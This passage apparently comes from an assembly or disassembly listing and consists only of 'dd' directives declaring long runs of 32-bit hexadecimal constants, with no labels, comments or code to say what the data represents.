5DC390C3h, 55B2513Dh, 45575025h, 4E57B384h dd 71220C81h, 6D144016h, 0C26973F8h, 0E166AAF6h, 0ABCD2274h dd 68EB1Fh, 0A9738EB5h, 0D5334E73h, 0AF892675h, 26265A9Eh dd 0B36C86FFh, 0B3B9CB27h, 28F02349h, 0B3CFB50Eh, 65CBC8ECh dd 22220F65h, 0FDB961D7h, 0F3338423h, 9E7BA7B2h, 580F8618h dd 0A3ED711Bh, 443B4A4Bh, 45065147h, 25D3CA12h, 3C85A0B7h dd 492B4DEEh, 5E819A6Ch, 16A6A485h, 0B128135Ch, 94201A06h dd 64FB165Fh, 6DCFBFE0h, 0C48ED2DBh, 383A6C63h, 360BBABEh dd 0A1C4354Ah, 1C9F4277h, 48A5B535h, 0C74EDA56h, 0E845D0B0h dd 4F84FEDh, 0C02D1376h, 3B40F607h, 0D7538B99h, 0ECCF57BDh dd 0F385FC81h, 0C5407221h, 964FB163h, 0BE111C8Dh, 25D14C69h dd 98884B04h, 0A67006ADh, 7DFFC77Ah, 0B043E11Eh, 0B439475Bh dd 0C6E444F9h, 6496940Eh, 92403B0Bh, 1783DE9Bh, 7041EF43h dd 4B148CE2h, 0AE61F8C2h, 62F64105h, 53DD63B7h, 0E3F63DE3h dd 0FA678E1Eh, 0A2C25EDAh, 107F4586h, 0B3EA6345h, 80F0DD79h dd 0BCEEB66h, 0C0F9DDA4h, 0C548163Dh, 0BDC30D26h, 5AADB5B3h dd 76AABA6Dh, 1C06AD12h, 0CD91CE93h, 59D8DBCCh, 33824CCCh dd 7EE2E6C0h, 0C88988A7h, 694B9ADCh, 7D9B8137h, 6A93506Ah dd 0C8907818h, 0D4189CACh, 0A9771FB0h, 33B9B9F5h, 0C5FFF236h dd 0D4194364h, 11958167h, 0BCA349F6h, 84A13E94h, 8169BB44h dd 5B292695h, 0AD377542h, 71C643E1h, 37FECEA9h, 6FBBC111h dd 0DE62CEBAh, 0B73D38A8h, 85F6F577h, 3245ACEEh, 43988452h dd 0F0D7F13Eh, 0CEFCE847h, 4FD3C41Eh, 0B563EFC3h, 8172BA19h dd 6101D677h, 0EA6EF925h, 5960E3E2h, 0E34628E6h, 0AB328094h dd 7798C3F4h, 0F10A6D33h, 0B8F8D37Dh, 0E6BA3D14h, 0AAE50477h dd 6376061Ch, 0DD3EE34Ah, 0F41E3507h, 9BCB2DE4h, 5CDD47FDh dd 4A33FA17h, 485F7410h, 250A3761h, 8531A794h, 0E4A71A9Ch dd 112FE933h, 92D45CCBh, 8BF611A0h, 917B264Ah, 8C1B9186h dd 0E3C87B2Bh, 72832EAEh, 0D521095Fh, 0ECFFB5A9h, 1D404B04h dd 0E1B06546h, 41D7AB83h, 503D4DBCh, 0D0E76B0Ch, 71921EE3h dd 0EF47E8D5h, 809AD7C7h, 0F7DC8E68h, 58D69F69h, 64E5026h dd 0A56695F4h, 63F355EBh, 60427EEEh, 0B9A70D8h, 9C918Ah dd 0F5A71206h, 9ACBBD08h, 0D406E775h, 27DEA1AAh, 88FEA202h dd 6169D996h, 2B192Ah, 0B09B6470h, 1B84FD84h, 0EAD502EEh dd 0E87C118Bh, 9DC3D8B1h, 8D4E0EACh, 1392001h, 8F593D8h dd 9735C290h, 32224F92h, 0C89E3758h, 0F9A9A96Bh, 0DEF628F4h dd 4A9C78B9h, 6F1CDFE3h, 0D9481BF0h, 0EB1A3551h, 6E175367h dd 0BBB7BC2Bh, 46C831Fh, 0BD2FB819h, 0C3CAC472h, 7B54A5BEh dd 89320ACEh, 0F3CE2A5Fh, 67349F56h, 418679h, 17B870C0h dd 444E781h, 0F2CCCFB1h, 0F80F6ED2h, 0FCD7C88Ch, 1206D644h dd 302B9B80h, 3B45B08h, 2616408Ah, 505ACCE2h, 32D8098Fh dd 0A3831DFEh, 0F119D3E2h, 0C8EC57A3h, 434F23FDh, 8A39C070h dd 0A9092CB4h, 0C39A96h, 2B3AA665h, 0E851815Eh, 0F66A0F70h dd 58CAE67Ch, 0A73F5671h, 52C4479Eh, 0DDCF2D58h, 753ACC3Fh dd 0E9DB96E9h, 0A51CFE2Dh, 1D628322h, 692EA43Ch, 8586A978h dd 0F8D25B9Ch, 0DE3694C4h, 9E63CB64h, 0A9399155h, 8824D112h dd 315E458Bh, 94BC266Fh, 17758021h, 483410C9h, 0B1C0E213h dd 6AB6054Eh, 1A08D962h, 165C9C3Fh, 0DC7C7C2Ah, 80EA1A2Ch dd 88C22255h, 8143FAA2h, 0A37E7D3Ah, 0D5EF920h, 0BC43324Dh dd 64B5D37Bh, 0BF705990h, 0D8F59A75h, 0CAA40F85h, 3D34D7E6h dd 0AA53A8A1h, 0FC29D32Fh dd 0D7B3D2F2h, 3B6C6E4Ah, 0B8D62AFFh, 8D6F3FA8h, 4B574888h dd 273B8D2Dh, 0BC264FDBh, 6B3B5D1Dh, 0FE21E853h, 5E60133Ch dd 3107456Bh, 832B7159h, 84347F42h, 437C3461h, 5B098652h dd 77BABD5Ch, 0E8416E0Fh, 102D73h, 8C0F410Fh, 0DB5CA338h dd 5F4B192Ah, 0D0A302BBh, 59B9CA6Eh, 0D8FA3710h, 8E652D5Dh dd 0F2148442h, 0AA7F5327h, 0FACB3C7h, 9271318Ch, 0E16259ECh dd 81AD8E8h, 98C7583Eh, 0EE959D11h, 36099C48h, 0DF4B78BDh dd 0C7BD64D6h, 9899AFCAh, 4E826758h, 0BE5AD91Eh, 14E5F05Bh dd 0DD275576h, 856DFFAh, 88CAEA8Fh, 351AA68Dh, 0A27D798Ch dd 6A23F393h, 1D571473h, 901656F4h, 5DE43729h, 0D2AD642Bh dd 52FFDC84h, 4A528307h, 0DFD6B3BDh, 0A2F8762Ch, 7977C224h dd 41F96221h, 0F3434592h, 12DE5E3Bh, 31C99257h, 0E802B44Fh dd 34D5C678h, 49B3011Fh, 647DDE5Fh, 0D1DD519Ah, 45EAE481h dd 0EECAB485h, 0E9AF667Eh, 0CF0007Dh, 8351B111h, 22C989D4h dd 0FEB9A2C8h, 0CD4B57D3h, 0C920F621h, 9BDB022Fh, 0D59DCBD8h dd 0D53CE318h, 31752EF6h, 0E1189D90h, 0F562982Eh, 0CD303A8Bh dd 7375C84Ah, 3E180853h, 0A5CD48DEh, 0B182D4D8h, 0D59B8635h dd 72B7EC5Bh, 115EB478h, 112EF778h, 655DD919h, 6D3F784Ch dd 14E67FC4h, 6D8D2B76h, 3EDB5DA5h, 5C42ACAFh, 0D178678Fh dd 8D1AFC25h, 0A87DDE00h, 0DB53360Eh, 3CB9AD96h, 5298C78Ch dd 184AE0FCh, 0D5DF4350h, 4F0E03EDh, 81559737h, 8648BC64h dd 0E43BD7F2h, 0F4028D9Bh, 0B0EE94AAh, 9A7768Ah, 0BB93FFCAh dd 0D8615967h, 83789F90h, 7474C483h, 0B9F101D0h, 30BF9372h dd 8F1832D7h, 3E17D85Bh, 48DA417Fh, 508E3CD9h, 0E0CFAE58h dd 60F34FD4h, 0EF2C3663h, 1C8DC525h, 1D3618A9h, 92E9016Bh dd 7951DC36h, 3E84C64Eh, 3A0021C3h, 0A5D0A9B1h, 0D7E7FC2Fh dd 1229BB55h, 6FF4866Fh, 547FD4BAh, 0F4D7DE31h, 0C4029E6Bh dd 3408AC47h, 0E6F944C4h, 0CC7C2037h, 0B33D65F9h, 981C6FA8h dd 77BACEF2h, 194F6084h, 0FAB5283Ch, 0FC43C876h, 0AC34FF60h dd 58651757h, 0B28351EFh, 9CD722E0h, 0D71C43B5h, 0FF1D710Dh dd 184F27A9h, 0F2EDACA8h, 70C2D5ABh, 8DA09136h, 3393D6Fh dd 0AE50FF6Ch, 90409960h, 0CD0482BCh, 6898E6BBh, 4ED3593Ah dd 4EEEC060h, 0B2506C38h, 4E0F3873h, 8C783FC5h, 405FDA94h dd 3C327E3Ch, 5B8C4E08h, 634E94Eh, 99F300F3h, 70399EEh dd 969178A2h, 94F0FEBAh, 0E4D2CB2Ah, 0BF6F10B4h, 0BC6BBB71h dd 9309271h, 1600F812h, 7FA3137Ah, 0F7A2EE13h, 77091AB6h dd 8D765B8Ch, 22E5C093h, 7C28D9BCh, 518870F2h, 4137AE82h dd 26202C68h, 6183CC92h, 7FDFD9AFh, 33380214h, 2C41CFA1h dd 4244E752h, 51DFBC72h, 1001AE03h, 0ED815D0Dh, 4D5697A5h dd 30B9B291h, 8DD312E7h, 6086C4A5h, 0C902CDFAh, 3229E391h dd 0E41C36F6h, 1EB22C22h, 0BE72D3AFh, 5F51DABh, 0C5E55537h dd 0BABE3289h, 1B1FFBEBh, 0A7287E41h, 40DADB01h, 3C9139FFh dd 2748E321h, 0A4A2EE54h, 0D8673EAEh, 5A5400D5h, 3208CD28h dd 8B5B213Ch, 0CFF3D14Bh, 3EC8D2ABh, 5278EBB1h, 7751FAh dd 3AD32DC2h, 0CF31576Eh, 9DFC8695h, 43EEE726h, 0D7238733h dd 57FC2F00h, 41771C78h, 0C213B2EBh, 93F33082h, 6EF27394h dd 0BBC013B9h, 0D3387974h, 85B2F5A6h, 30DA2C7Bh, 761B4814h dd 9AE73B03h, 42F83E20h, 9E8BB8FEh, 7267A6A7h, 1AB7908Fh dd 0F67615Ch, 15C28DF0h, 4A5983D7h, 10426F78h, 9FD96BDEh dd 0C248FF76h, 2236A7CBh, 3055EDBAh, 3C3C5FABh, 0C443C152h dd 2D363ADFh, 87D2C22Ah, 406C5DF3h, 284A5CF6h, 0DAF50563h dd 639ACBD4h, 9C8F3735h, 64E1560Ch, 1DB50613h, 625D29B8h dd 8476D087h, 12AD5D46h, 0DD440D46h, 0EB59C35h, 0A73955B0h dd 0CB3BE599h, 0B3FEDAC0h, 8EA930DBh, 1213C26Bh, 9029481h dd 589F537Ah, 1B571E93h, 4C316A94h, 2E12D39Dh, 0E9D33253h dd 0BA53D4C7h, 438A0DEFh, 68F71409h, 7DB1B89Dh, 0A5FD0668h dd 40B2EB07h, 51290AA5h, 9C1B0736h, 93264926h, 636E6382h dd 8626CB04h, 0DE94E873h, 0C0E87AC7h, 0D5605FD1h, 35D9AD37h dd 0FDE075EAh, 98868BC0h, 2189E918h, 0BD4144B1h, 364D886Eh dd 9923B8A4h, 11DCE5E7h, 0D2219C1Ch, 43283641h, 0FE18E6FBh dd 0F96CF85Ch, 0F52A7DA3h, 961CF609h, 886D1092h, 295B56C4h dd 4666E0C3h, 0AE87D75Eh, 0A1DB5B77h, 8D99AC37h, 8CF44DDEh dd 0E998F0ADh, 0B085A822h, 87716DE3h, 0BC2E2605h, 32103F44h dd 412A22CFh, 0F88DF960h, 2DFD879Eh, 692A22DEh, 7A798DE0h dd 49A053AEh, 75BD66D6h, 0FCD52F11h, 4FD6DDFFh, 0E92AA714h dd 0AF93D3DDh, 0DC132AFCh, 4D1F0FFh, 0CB129EACh, 3FB880AFh dd 8EA1C402h, 0FA28144Fh, 2E5FEACCh, 4FFF437Ch, 2E84420Ah dd 0DD6797D3h, 6C3CBF3Dh, 3CB28E30h, 0F68CC1h, 0AB6360F6h dd 6E2C8A24h, 99FAA139h, 0ED5F147Fh, 335C1A07h, 3BE3C3D1h dd 9D871A8Dh, 2279AA80h, 483D5CA7h, 0C4ABAED1h, 0AFCC90C5h dd 8E31AB72h, 23DDC9B2h, 0EE25B187h, 0EAFE77FAh, 0DF75A787h dd 0CE670932h, 0A3F285F3h, 542DE52Ch, 0C6C93CBDh, 47EF200Ah dd 0C7C954CFh, 0D65A2FCAh, 0A89115BBh, 0B568D664h, 518D51CEh dd 0E7529003h, 8C07170h, 9255E6A2h, 24738AC5h, 0E4C32920h dd 0CA4D2C06h, 44064BABh, 5D8F3A8Ch, 1F16F9EDh, 0E032C8A9h dd 0BCF80CE8h, 0FA39B204h, 7D5C1F77h, 928F28C3h, 0B13DBC8Bh dd 0D0A73C43h, 0C1D1210Dh, 0A8247317h, 477C7584h, 7BA5E79Ch dd 0FC3E28F1h, 3815B205h, 69770E74h, 167A8053h, 7B75E77Fh dd 0D56F3D95h, 4E5A209Eh, 0C392D419h, 78EE6E21h, 6F44F5CDh dd 0A803C65Eh, 0E0F5D9D5h, 1F195401h, 0B4E2D362h, 286457A2h dd 196A5255h, 0F6C694E0h, 0C3DF7A66h, 34EB549Bh, 5B9BD771h dd 5DFD3EA1h, 0F342ED0Bh, 85643DB9h, 0BE7FAAACh, 5DFD03A3h dd 823CAE15h, 39E5FA60h, 1492DDB4h, 4DF55177h, 714F1A51h dd 0A3F2F196h, 7242594h, 0D87F89F5h, 0A9340283h, 0E34757B7h dd 0D3E29C30h, 9DB1F14Fh, 0E24D3A8Dh, 1D676512h, 0CC7B213Ah dd 0E3A3AE80h, 0DEE2D51Dh, 62C2F6B6h, 2B424121h, 172D08F7h dd 30F73599h, 0E67F40A1h, 0FA2CDBD7h, 35EB90A0h, 9830B423h dd 6790E58Bh, 41CE779Ch, 0E33B0364h, 155AFB6Dh, 0BAE0228Ah dd 7DBDAF37h, 0BA9E04EFh, 0B5EC2FB7h, 8EAC7831h, 5BEEFD9Ch dd 1C6D0163h, 1626323h, 36C56D9Dh, 13726393h, 28446EF7h dd 0A6229300h, 1A5C9FF7h, 0FF647810h, 0A7F2435Fh, 0EF2DD385h dd 7B789996h, 0CD83809Dh, 7B7791E3h, 0EE80C0AEh, 94D1E9EEh dd 0C14AC48Dh, 2F30CFA5h, 0BCF11430h, 0A47E710Dh, 0DB6F4381h dd 0D7C50C8Dh, 0B3DE3E51h, 8844F286h, 0FF2E7E1Bh, 142B0727h dd 4852F94Eh, 406C239Ah, 50F3AFBFh, 80BF052Bh, 0B81DAFD1h dd 0C747A02h, 9A8A9D87h, 0FC7F116Fh, 31E96B21h, 8E19E99Ch dd 5F97A193h, 0A554FF7h, 0B7292380h, 1250C737h, 0FBE9A4F0h dd 0A93355AFh, 0ECCC657Dh, 7A68DC6Ah, 0CD0BE2DFh, 0FB3B80C2h dd 0AEAEC83Eh, 0B4E0EC26h, 0D15346E9h, 27348E93h, 38F374ABh dd 627D61C6h, 3C6FCB63h, 60C4C87Bh, 45E1CA9h, 0A704C07Dh dd 0EC8E6699h, 9D9B1BE6h, 0C0AFFAEh, 6ED8256Ah, 4329AE47h dd 89A40557h, 0BC8B2FF3h, 8A3FBA13h, 0DDA83D8Fh, 0DB4EA16Bh dd 2670B327h, 195C559Fh dd 9835F790h, 0EDE650F7h, 8071B600h, 25E50077h, 0F4B38150h dd 0AA8864FFh, 0ED9AFDD5h, 7A3300BEh, 0CDBD4409h, 7BE03629h dd 6EBA11C9h, 54F5505Ch, 615890CAh, 0DF363181h, 94F2A123h dd 587CBE82h, 116E7EC5h, 0EAC49F28h, 0C1DE0102h, 41C4D629h dd 0DBEE61CFh, 2A8B1E4Dh, 0C382FEF9h, 8D8425C0h, 0F28FAE90h dd 711505BDh, 10D0AF18h, 700BFAE5h, 70BDDD75h, 6155B168h dd 0CBF63B25h, 0AB9F919Fh, 0A1555590h, 0C1F7E1F7h, 8AF86E80h dd 20393DB7h, 0F2559730h, 0AD997BCFh, 0EA91784Dh, 7DBF47F2h dd 0CAE0A5ABh, 0FC412678h, 290B99E1h, 73AD1448h, 76ECF2DCh dd 6860208Ah, 5349A9A4h, 0B72A3B40h, 0A2D5BCA6h, 13923E18h dd 0ED65B19Ah, 7B920EE5h, 0D6F5DC2Dh, 0FB7EC83Ch, 0A645CA97h dd 46757B50h, 92FBEEDAh, 7016D0E0h, 202E958Eh, 0E4E6A6B9h dd 227D8C4Ch, 0D8D966C9h, 4F758CB7h, 565CFF41h, 0B176C13Ah dd 0B3377FA3h, 8C4577C2h, 0D27D399Fh, 49F5641h, 0FF3A7BDEh dd 10B58CD2h, 59FF4521h, 3C82D628h, 0AEDA174Eh, 133579EFh dd 15CDA254h, 94AD5C9Bh, 0EDEBC715h, 0DE1CA97Dh, 954E2B68h dd 0CFD15596h, 9209B9F4h, 2A64AFCAh, 74B1E3C9h, 0ADD1339Bh dd 0D6B64013h, 0AA99205Eh, 4D03460Eh, 0D4C168BDh, 54C94886h dd 88C129F7h, 0BA3665ECh, 0C746E310h, 405760D2h, 0EAA0E281h dd 67F28B4Fh, 9894930Ah, 0C2E6906Eh, 5CE002E5h, 9F13A1CDh dd 74F1930Bh, 0BB44822Fh, 3EFCF956h, 3C09FB67h, 3DD31A11h dd 955306D7h, 0FC94AD9Ah, 0D5FF7350h, 0C8DEB624h, 9E240AF5h dd 0DFB830D2h, 0F86DC3C1h, 7C0898E3h, 0A8697F07h, 66FC28BEh dd 0B4DCDA99h, 0D4280068h, 97D8D95Eh, 819DD918h, 6DCD3484h dd 8DDCDFA6h, 907EC10Eh, 0A1444F4Eh, 0EFE13C05h, 5AF46908h dd 0BCBEC37Dh, 774A552h, 8BD75848h, 947F9A4Eh, 128FC7B3h dd 0E7B077F6h, 0DDED777Dh, 604391ABh, 0D6D6CC0h, 23E906BFh dd 16B66EE5h, 0CE28550Fh, 80D6B6FFh, 0D9773953h, 0A9F620BDh dd 5DDE1CA6h, 6CA187D6h, 0F1DF70CBh, 4282F2BCh, 68928839h dd 61CBBDA8h, 0E338C4Bh, 3576F9D9h, 0C699BACFh, 3EF7ADB1h dd 3DD91F23h, 31902512h, 65B7C2D3h, 152A4C67h, 20824DE5h dd 0DDE97EE6h, 2D5959A3h, 42E21D2Fh, 819BE1BFh, 0D5659E6Eh dd 0F1F0951Eh, 34C27FCh, 9F5690BAh, 0ECEF6B1Fh, 478ECFA6h dd 899ACCD3h, 0CBA37C99h, 1AFC3907h, 3921D8D1h, 9D5AE9A8h dd 0B14A1064h, 5E6B7A03h, 0E93F8C05h, 4BA4A04Dh, 0DABDF060h dd 0D7C9E551h, 0CEBD6178h, 39B65C9Ah, 4C6BF8EFh, 486652E2h dd 62078101h, 5D6CCC64h, 9D19DCE2h, 3CC37F13h, 6D661056h dd 0D8C9FC08h, 651E494Fh, 0F0BAD41Dh, 0AD637CCBh, 0AF2435EDh dd 0F9D7DC92h, 842953B1h, 0F8CC5517h, 2AA33270h, 93F310BFh dd 19AA75F5h, 0E782CF6Fh, 73B97609h, 15047AD7h, 0E0A729C7h dd 0DB84A61Ch, 373EAF6Dh, 143A9634h, 70D549ACh, 3FB0B07Fh dd 71A0E8EEh, 0C6E2466Dh, 0C21134Eh, 0F234B1B9h, 0EDE2C64Ah dd 2BE8AB07h, 4798DD6Dh, 3E402713h, 0DA97A99Bh, 0FB085272h dd 0B94D99E5h, 0FDD4F146h, 0A1B2BD7h, 0E15CAB6Fh, 9F8F3058h dd 0C9FBF37Eh, 0DE735F19h, 0C366405Ch, 0D3C9CCC3h, 8905A69Bh dd 513D865Fh, 0BE616D91h, 0BB813ADBh, 0E4BD2355h, 767F7856h dd 0A58035Dh, 0F8F2A45Ah, 0E255014Dh, 0F58B1902h, 0B736F0F4h dd 993A35E9h, 3F5648Fh, 0D2629329h, 481BE132h, 66818456h dd 2171EDDFh, 8E0576EFh, 3C419510h, 0B8A77A77h, 868F49CBh dd 4826B331h, 1AE83135h, 41E488C8h, 55D4E960h, 26EB5CB3h dd 95343DDFh, 8366D1DAh, 457BE9D7h, 1F503779h, 0E20B9281h dd 8F20202Dh, 62B8FEAEh, 0B1D6D4F3h, 260F180Eh, 0DEC25483h dd 703FD53Eh, 2A0A1E5Eh, 8E2FF7ABh, 0E0DEBC77h, 439D21Fh dd 58F1D7D0h, 503F824Ah, 82F44FFBh, 0F36711EEh, 0BEECA03Ch dd 63726A3Ch, 89409B74h, 12838D59h, 4D2019F9h, 9318BC97h dd 0D1825FB6h, 0B07E29ABh, 7AC7A9D5h, 580B467Eh, 1EF419ECh dd 0D7A77B7Dh, 837BF2E7h, 1E69AA9Ch, 4F867D27h, 6F2B36EBh dd 0C05A0C9Ch, 0AFD24B7Ah, 0DDF2BEDBh, 63862E86h, 99D295B6h dd 0C96A68C2h, 0C51A1EB2h, 0F20A7C3Eh, 0AAC3AB66h, 95884352h dd 47C67A6Ah, 9C221593h, 351FEF6Dh, 7C688EFEh, 9F68A73Eh dd 0D98E3F43h, 0F7505A4Bh, 7B407308h, 51A9F82Ah, 1642BE18h dd 90AA6114h, 325ED864h, 34C3F8A2h, 5AC239E3h, 8192A893h dd 18BAC9FAh, 6490F3B7h, 92535B87h, 0E3B1F1Fh, 9DF1C0C7h dd 467EB58Dh, 10AB782Ch, 99F911F2h, 28900301h, 96AC627Bh dd 0F9B03CCh, 30BB22F1h, 32CFCC86h, 0E57A99FBh, 1C87FCD6h dd 28C16212h, 2B2B960Fh, 1DA87019h, 0C3A70BCDh, 2313533Fh dd 2C0B5749h, 4469120Ah, 89C0C107h, 0A7CBC628h, 250DF7C1h dd 381EDE37h, 4F9EEEB0h, 0F1DABD3Ch, 232E1CBCh, 2B172C74h dd 9AAE671Ah, 0A2E735B1h, 1A328C33h, 0D136D26Eh, 7697E76Bh dd 0E7D301EFh, 58C4C40Bh, 7FB4796Fh, 0DF3456E9h, 279B9187h dd 0F3548BDEh, 858B50B6h, 8D41CD07h, 0BD69E0F5h, 1C7DF6E9h dd 0C6E47B36h, 0CA5C1D3Bh, 7F3B5266h, 0F6F3AE22h, 615624D2h dd 88F00C47h, 1850074Dh, 0A8D39399h, 659439BBh, 15F7A12Dh dd 2794AF13h, 0CED76AF9h, 0E4D06AE9h, 0C710F0Eh, 3A6E5A32h dd 7995073h, 9E511729h, 0EDB04225h, 82A23E4Eh, 20E045D4h dd 3D310C01h, 91278B84h, 0AD672F0Bh, 0B757E538h, 24C4FFD4h dd 63E28278h, 49551AD9h, 4402C6D2h, 5CD50F92h, 1E79B6B2h dd 0BB93E05Fh, 6844E1DCh, 0A86E7AA0h, 6591B91Ah, 0C4F3EFB1h dd 4F6E7AE2h, 2FCE04DAh, 570660C1h, 247D95EEh, 0D85DCAA3h dd 1D97D8ECh, 28DB9481h, 1399966h, 0D8B3C70Ah, 352A53FEh dd 8619D99Ah, 0D49A5123h, 0E20415BEh, 88DB459h, 0B3AD1683h dd 0C48A130Dh, 1D2B53EAh, 3CD0FE43h, 475E25Bh, 24ABD980h dd 0E294812Fh, 0E83115B9h, 7DF6CD0Eh, 7AF903ADh, 42205F55h dd 621B98D2h, 0E821DCFDh, 0D0DC1CC1h, 0BFEA39C1h, 51C7D97Bh dd 7F6FAC35h, 0E9DD7E0h, 0CB5E6BE3h, 956A7D05h, 12669323h dd 32238F5Bh, 1FF3E4CDh, 0ED076D3h, 0A22D6A9Ah, 7C8B2271h dd 29089272h, 63B7426Fh, 4D5D08E1h, 19DE693Dh, 5C470CD1h dd 0F67ECE10h, 918C6114h, 9ABA0720h, 3617EB97h, 1438AA1Ah dd 0ED7A8CF5h, 0E686FC33h, 4A533659h, 0C5B83A3Bh, 564C784Eh dd 2BF69D30h, 1C462720h, 0C4A1EECDh, 0A2E931A5h, 6AC10AA1h dd 6BCB3E51h, 96A37E70h, 0C89E9255h, 0CDBA5D1Ch, 20A24835h dd 0D557DA4Bh, 0AAB3F5F0h, 9BCFB988h, 0E2C8ECB4h, 0ED4C5D40h dd 0FF8332E0h, 4F1AC69Fh, 94FC947Fh, 60316986h, 2ED963B7h dd 9D93FDBh, 0E500A0E4h, 6F03FF2Fh, 3662CF6Ch, 0F8E7C77Dh dd 102A0FD0h, 915EF5Bh, 4F95208Eh, 2E81749Bh, 0E81D4185h dd 0D59734DEh, 81EC93D4h, 4F94266h, 9B200E52h, 14B88A0Ah dd 8547A37Bh, 0F5ACF304h, 0AC6E97F9h, 18414734h, 0D73396BFh dd 0AF280F15h, 0AC391CA1h, 0E96BA929h, 94F42995h, 0EAC3704Fh dd 0B5A9F9FBh, 0FE8D5A95h, 0FF4BBC3h, 976BB64Fh, 0E470D6BFh dd 80D8BBF5h, 0DA31E428h, 6C6B0AFAh, 215C8FE9h, 73D9A7D9h dd 0F02B9E32h, 0F291DA72h, 0CB865A28h, 7E0D635Eh, 0A06186C5h dd 8D808BA7h, 0A546C2F9h, 53CA38A5h, 7BFE7320h, 775D0FA5h dd 3574531h, 51A974ABh dd 0A3BA1239h, 62F0ABA7h, 0F4C9832Dh, 7E0E590Ah, 6673D176h dd 0DC81132Dh, 0F77AF61Ah, 832AD60Ch, 6F5F144Ch, 8223512Eh dd 0CD5FD95Bh, 0E6A368B4h, 0D80808Eh, 914C73Ah, 61C148A9h dd 2A6A35F0h, 6E709F53h, 0C12B1FD8h, 62B1FD48h, 3CB3BBB8h dd 4C622CFEh, 0E6BF2B2Ah, 801F9F2Ah, 53EE5A45h, 0FC2867E2h dd 42F64C73h, 9961A340h, 71B03441h, 40B72B74h, 0E5AA18D7h dd 80D9F009h, 0B65917Eh, 5B48DAD5h, 7ABAF919h, 0A9293D60h dd 2D86320Fh, 0C8D63775h, 773C9F10h, 0DCFF6274h, 0F0DCC8FBh dd 14E475Ch, 0E60716FBh, 0C0D346A1h, 64BC83E2h, 0F5FBE157h dd 0DF6D7AB6h, 0FB967A08h, 6C83F650h, 7A6F4516h, 856287EEh dd 0C02F25ACh, 791D45FBh, 0DAE22247h, 0B92F259Fh, 271D08B7h dd 6265BA37h, 0FD3D20C1h, 59D9AE9Ah, 256C0F7Ch, 695CC566h dd 9113C516h, 4F808857h, 5FD12E9Dh, 0D3E58462h, 1FAE63EAh dd 3801104Bh, 0BB35E21Ah, 917374FDh, 9A6ED92h, 81AEE459h dd 9DB97775h, 68DF23D9h, 808943C8h, 1D891E62h, 0F51ECF30h dd 12BED553h, 0C6217018h, 7D73A019h, 0BCD42F3Ah, 0A4D2255Bh dd 5B53ACBCh, 9754BB23h, 433BCA7Ah, 58099903h, 67A8762Ch dd 0B0D62741h, 11AC6FE9h, 7CE4ADC3h, 0F0A6Bh, 78B4EEFBh dd 0ADA24A38h, 19EE975Fh, 26D39A00h, 29A29D78h, 3FC2957Ah dd 7D9002A4h, 815949A8h, 32B3301Ch, 0E34C6A86h, 0F25BEE6Bh dd 0DC93A131h, 5B49612Fh, 496C662Bh, 52A4A962h, 0F134D7DBh dd 725738C9h, 0A39871DCh, 0EB6C8686h, 59190831h, 0A6B3CFF7h dd 38915B66h, 0E1B9F05Ch, 8D47084Dh, 2D10121Eh, 0E1D1A9E3h dd 9E1742AFh, 0BE8D0521h, 7A622C1Ah, 580414D6h, 0EBD924F1h dd 36D13001h, 8FAFA276h, 4E49BC09h, 0E2D64151h, 0FF5DB0B9h dd 7EC329ECh, 0A89CF67Dh, 0A84FD6A8h, 9D9FB688h, 0FF6AD1FBh dd 0E7D04B7Ah, 0F4ED6929h, 53486490h, 18B7C07Fh, 787DD683h dd 421579B6h, 72786B0Dh, 7506BF11h, 0EE6CE289h, 0BEFECB19h dd 6097F33Dh, 52ACAF56h, 8458D3CBh, 5991517Dh, 6BC03A06h dd 2379D53Ch, 3155E799h, 58398447h, 0E6645CBAh, 4ADF578Ah dd 540B0FE4h, 843A3ABDh, 0D73C3DEh, 0C794F515h, 7CD01FE0h dd 73637A08h, 0A13D8985h, 6DD84E28h, 648A7E8Ch, 0A5DD69CAh dd 0B540013h, 0D04F6169h, 8AEBA582h, 0A09EE73Dh, 6ADA6730h dd 0D7EDBA94h, 38CCC18Eh, 1A8326A2h, 0C16DAADFh, 6FEEF10h dd 0E93F02DEh, 75FC8BC0h, 87BD4BACh, 0DEAE40CDh, 5017917Eh dd 49C91B6Eh, 0A8BD18E5h, 174008D0h, 335F10C2h, 0EF062301h dd 718B6CB9h, 0C40DF97h, 0D1DC774Ah, 8971F0D9h, 0E112E3EBh dd 0BC21702h, 0F767685Ah, 0E76E10DFh, 4828024Dh, 0CC50A151h dd 0EC49E64Fh, 94334669h, 149B36Ch, 0D544078Dh, 0D24C2E7Eh dd 0FAF710ADh, 0E9CF96D2h, 799D8AFBh, 0FDD5C8A9h, 9DEB43DEh dd 21E2E132h, 82E16BEFh, 0BC7C05E3h, 0C0A7CF6Dh, 1B5CB458h dd 6D3635EBh, 92026853h, 7D7CF159h, 0CC29F3C4h, 519C210Dh dd 0C6C099Ch, 886EB239h, 0B085E479h, 9DFDD9F7h, 0B89111ECh dd 0D20E317Dh, 2F44E9C8h, 3341E0F7h, 0F4197AE2h, 0A6765C5Fh dd 0EA4DD95Eh, 0B5F81939h, 0AD09043Dh, 251F91CFh, 253945B1h dd 3D25075Dh, 1C47C20h, 0BE233A65h, 0BF0723FAh, 49C8EB6Eh dd 5EEC413Ch, 500AC846h, 0B4E5F519h, 91246B9Eh, 89BA1D76h dd 7D1E43A9h, 1C67AD3Dh, 0EE9A2803h, 0AC0FD416h, 0EC1C822h dd 0FB3E5093h, 121B5378h, 0EF66EBD4h, 26F065CEh, 0AC7C4AF8h dd 0D5A565E3h, 0A3DAF459h, 1A6F61EFh, 31D7032Dh, 0D3B5125h dd 9D889335h, 8B3C8B3Bh, 0CDAB54D5h, 0F4872A81h, 96D71035h dd 0C6895C62h, 0EB3B807Bh, 0CF05424Ch, 25ABF653h, 0D81CC401h dd 9090046Ch, 67AFE137h, 37978983h, 2A1B38B3h, 7F1A63FBh dd 0C0F0120h, 6B9633C8h, 93E9E9Ch, 0F687654Ah, 1F794EA4h dd 60D9337Eh, 0A0D04916h, 0E1F39DEh, 13CEE7Ch, 3F4CC439h dd 4877B141h, 6E9F43FCh, 0BB93DA8Bh, 42B742A6h, 3BC01B4Eh dd 367D2EEh, 0EE9A1EE3h, 82C43BDh, 0BA7EB694h, 217BA1CBh dd 1BE0529Fh, 0FD693A19h, 0A36B158Bh, 0DA88ABBAh, 0E763A8h dd 0BD49078Ch, 0A7C13444h, 57289C71h, 0D9F7FC84h, 784A1B5Bh dd 0F23FFCFBh, 907EED2Dh, 1EC9A543h, 3BA885E1h, 3C880487h dd 1F92DA5Dh, 953BFBBh, 55BD7D2Ch, 0B97F298Ch, 0F0A987B3h dd 0F5BAFF2Bh, 6E7AE186h, 3C6B4E50h, 